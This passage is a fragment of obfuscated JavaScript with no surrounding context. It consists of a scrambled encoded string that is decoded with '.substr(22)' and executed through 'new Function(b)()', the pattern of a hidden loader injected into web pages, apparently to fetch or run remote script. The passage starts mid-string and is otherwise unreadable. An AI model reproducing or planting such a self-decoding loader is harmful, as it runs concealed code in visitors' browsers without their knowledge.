0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();